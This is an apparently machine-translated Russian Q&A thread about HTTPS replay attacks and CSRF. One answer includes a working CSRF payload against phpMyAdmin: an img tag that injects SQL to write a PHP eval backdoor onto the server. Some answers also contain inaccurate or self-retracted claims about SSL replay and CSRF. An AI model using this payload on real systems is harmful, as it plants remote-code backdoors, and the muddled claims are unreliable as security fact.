Подтвердить что ты не робот

Повторные атаки для HTTPS-запросов

Скажем, тестер безопасности использует прокси-сервер, скажем, Fiddler, и записывает HTTPS-запрос с использованием учетных данных администратора - при повторном запуске всего запроса (включая сеансовые и файлы cookie) тестер безопасности может успешно (перезаписать) запись сделки. Утверждение состоит в том, что это признак уязвимости CSRF.

Что может сделать злоумышленник, чтобы перехватить запрос HTTPS и воспроизвести его? Это эта задача для детей-детей, хорошо финансируемых военных хакерских команд или технологий для путешествий во времени? Действительно ли так легко записывать сеансы SSL пользователей и воспроизводить их до истечения срока действия билетов?

Никакой код в приложении в настоящее время не делает ничего интересного в HTTP GET, поэтому AFAIK, обманывая администратора при нажатии ссылки или загрузке изображения с помощью злонамеренного URL-адреса, не является проблемой.

4b9b3361

ОТВЕТЫ

Ответ 1

HTTPS не воспроизводится, первый ответ сервера в последовательности квитирования включает случайное число, выбранное сервером.

Что делает Fiddler, действует как прокси-сервер, что означает, что он перехватывает ваши запросы браузера, а затем генерирует идентичный запрос на сервер, то есть имеет доступ к открытому тексту, что и будет воспроизводиться. Ваш браузер позволяет вам узнать это, указав сертификат от Fiddler - "DO_NOT_TRUST_FiddlerRoot", с которым вы должны согласиться, прежде чем он отправит сообщение, игнорируя несоответствие сертификата.

Ответ 2

То, что вы описываете, не является уязвимостью CSRF. HTTPS специально защищает от повторного воспроизведения атак исходного шифрованного текста и не позволяет злоумышленнику узнать содержимое запроса.

Важно отметить, что HTTPS не защищает от CSRF. Если злоумышленник знает, какие переменные GET/POST должны быть тогда, он сможет создать вредоносный html, который, когда он будет выполнен целевым, будет выполнять действие, которое желает злоумышленник. Если веб-приложение не является общедоступным, и он злоумышленник не знает, как выглядит HTTP-запрос, то они не могут подделать запрос. Например, здесь CSRF-эксплойт, который я написал против phpMyAdmin. Я модифицировал этот эксплойт для работы с https, и все, что мне нужно было сделать, это изменить URL-адрес с http://на https://.

<html>
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

Этот эксплойт использует mysql "in outfile" для удаления backdoor. Он работает с no- script, потому что он подготавливает запрос GET, и браузер думает о своем изображении до тех пор, пока он не станет слишком поздно.

Ответ 3

- edit: Заметьте, я ошибаюсь в том, что SSL не обрабатывает атаки повтора, в соответствии с приведенным ниже. Реализация маркерного подхода все еще хороша.

Рассмотрите возможность "повторного воспроизведения" запроса HTTPS как только вернувшегося в браузере и снова нажав кнопку.

Таким образом, вам не нужно расшифровывать что-либо, чтобы повторно отправить запрос SSL. Любые node на пути могут это сделать (они просто не видят трафик).

Итак, если я захвачу вашу транзакцию SSL, которая отправит мне 100 долларов, я смогу захватить ее и отправить ее, чтобы я продолжал получать деньги.

Очевидным решением этого (ну, типичное решение) является создание токена на странице HTML, а затем сохранение этого же значения в сеансе. Когда запрос приходит, вы проверяете это значение, проверяете, что это текущее значение, и если оно есть, обработайте его, а затем измените текущее значение.

Если это не текущее значение (т.е. это старое значение после обработки "оригинального" запроса), то вы знаете, что страница была повторно отправлена.

Это общепринятый подход для предотвращения дублирования предоставления данных кредитной карты и т.д., но также имеет такое преимущество безопасности, что вынуждает уникальный запрос соответствовать каждому ответу. Злоумышленник в цепочке, который не может decrpyt SSL, не может получить это.

Ответ 4

Вы подразумеваете просто повторение SSL (который пока еще не был общедоступен) или файлов cookie аутентификации (что является специфичным для приложения)? Первый из них указывает на тупую, частно открытую уязвимость в SSL (которую вы вряд ли сможете исправить, я мог бы добавить). Последнее, то есть, когда произвольная машина может предоставлять файлы cookie для ранее установленного сеанса аутентификации, указывает на потенциально уязвимость уязвимости CSRF в вашем приложении, которая должна быть устранена.

Несмотря на то, что трафик SSL, как правило, считается невозможным обнюхивать с помощью атаки MTM (при условии, что вы предприняли корректирующие действия против уязвимости, описанной в ноябре прошлого года), cookie, хранящийся на удаленном компьютере пользователя, невосприимчив к перехвату (особенно если есть уязвимость XSS на вашем сайте или на любом сайте в том же домене, что и ваш сайт). Такие междоменные/двунадежные эксплойты становятся все более распространенными и, несмотря на строгую перспективу безопасности, уязвимость потенциально может быть использована, даже если не напрямую через ваше приложение.

Ответ 6

Насколько я знаю, CSRF - это когда один сайт ссылается на другой сайт и крадет текущие учетные данные пользователей как часть этого. CSRF - это НЕ просто запросы пересылки.

Прокси-сервер - это надежный надежный, который не должен вмешиваться в запросы. Это так же просто, как классический человек в средней атаке. Если вы доверяете что-то между вашим подключением к вашей конечной точке, вы на милость мужчины посередине.

Чтобы перехватить и воспроизвести HTTPS-запрос (классическая HTTP-повторная атака), вам нужно будет расшифровать SSL-шифрование трафика AFAIK. Думаю, вы не можете этого сделать. Гораздо меньше, достаточно быстро, чтобы быть полезным.

Какой-то другой фон был бы полезен, но я не уверен, что вы здесь делаете.